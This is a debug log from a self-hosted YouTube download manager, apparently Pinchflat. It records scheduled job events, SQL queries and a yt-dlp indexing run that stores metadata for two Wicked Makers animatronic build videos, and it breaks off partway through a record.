{"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:53.646 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.457 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:23.649 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:53.652 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.459 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:23.654 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:53.656 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.461 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:23.658 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:53.660 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.463 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:23.662 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:53.665 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.464 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:23.667 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:53.670 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.466 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:23.673 [info] {"source":"oban","duration":2221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:53.676 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.467 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:23.678 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:53.680 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.468 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:23.683 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:53.685 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.470 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:23.686 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:53.688 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.472 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:23.690 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:53.690 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.474 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:23.692 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:53.692 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.476 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:23.693 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:53.694 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.478 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:23.696 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:53.697 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.480 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:23.697 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:53.699 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.481 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:23.700 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:53.701 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.483 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:23.702 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:53.703 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.485 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:23.704 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:53.705 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.487 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:23.706 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:38.535 [info] {"args":{"id":35},"id":7244,"meta":{},"system_time":1780422098535092831,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:41:38.535 [debug] QUERY OK source="sources" db=0.1ms idle=1539.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:38.535 [debug] QUERY OK source="settings" db=0.1ms idle=1540.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.536 [debug] QUERY OK source="media_items" db=0.5ms idle=1010.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:41:38.536 [debug] QUERY OK source="media_items" db=0.1ms idle=8.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 13:41:38.537 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:38.537 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.537 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.546 [debug] QUERY OK source="media_items" db=1.2ms idle=8.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [35] 13:41:38.547 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 13:41:38.547 [debug] Current batch of media processed. Will check again in 1000ms 13:41:38.547 [debug] QUERY OK source="settings" db=0.1ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.547 [debug] QUERY OK source="settings" db=0.1ms idle=10.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.548 [debug] QUERY OK source="settings" db=0.1ms idle=10.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:38.548 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@wickedmakers?si=6H2N44HREVS1QsI5 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Wicked Makers/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/96/cb/96cb3cac72d944a77d25520b14d986d02709916e2d1a0cf06bb875f77a864795.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/77/f4/77f4324d3cb01a711539f84f7e9d3aed43896efc4bbfe8347a2e4e1fe5201962.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:41:39.548 [debug] Current batch of media processed. Will check again in 1000ms 13:41:40.549 [debug] Current batch of media processed. Will check again in 1000ms 13:41:41.550 [debug] Current batch of media processed. Will check again in 1000ms 13:41:42.551 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "duration" => 1728, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", "id" => "j8-i3CGf5z0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=j8-i3CGf5z0", "playlist_index" => 1, "timestamp" => 1780143239, "title" => "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "upload_date" => "20260530"} 13:41:42.552 [debug] QUERY OK source="sources" db=0.2ms idle=556.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:42.552 [debug] QUERY OK source="sources" db=0.1ms idle=556.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:42.553 [debug] QUERY OK source="media_items" db=0.4ms idle=557.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 12:13:59Z], 35] 13:41:42.555 [debug] QUERY OK source="media_items" db=1.0ms idle=557.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "4bd8ff9a-27ae-4bb8-a98a-3bf2057c6b8e", "j8-i3CGf5z0", false, "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, [], 1728, false, 1, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, false, 98, ~U[2026-05-30 12:13:59Z], ~U[2026-06-02 17:41:42Z], ~U[2026-06-02 17:41:42Z], "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "j8-i3CGf5z0", "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, 1728, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, ~U[2026-05-30 12:13:59Z]] 13:41:42.555 [debug] QUERY OK source="sources" db=0.2ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:42.555 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:42.556 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140322] 13:41:42.556 [debug] Current batch of media processed. Will check again in 1000ms 13:41:43.557 [debug] Current batch of media processed. Will check again in 1000ms 13:41:44.558 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "duration" => 2462, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", "id" => "1pBWywI-Ilc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1pBWywI-Ilc", "playlist_index" => 2, "timestamp" => 1776455956, "title" => "We made a real PROTOTYPE (that can CRUSH Poppy!)", "upload_date" => "20260417"} 13:41:44.559 [debug] QUERY OK source="sources" db=0.2ms idle=563.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:44.559 [debug] QUERY OK source="sources" db=0.2ms idle=564.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:44.560 [debug] QUERY OK source="media_items" db=0.4ms idle=564.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-17 19:59:16Z], 35] 13:41:44.562 [debug] QUERY OK source="media_items" db=1.3ms idle=565.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay 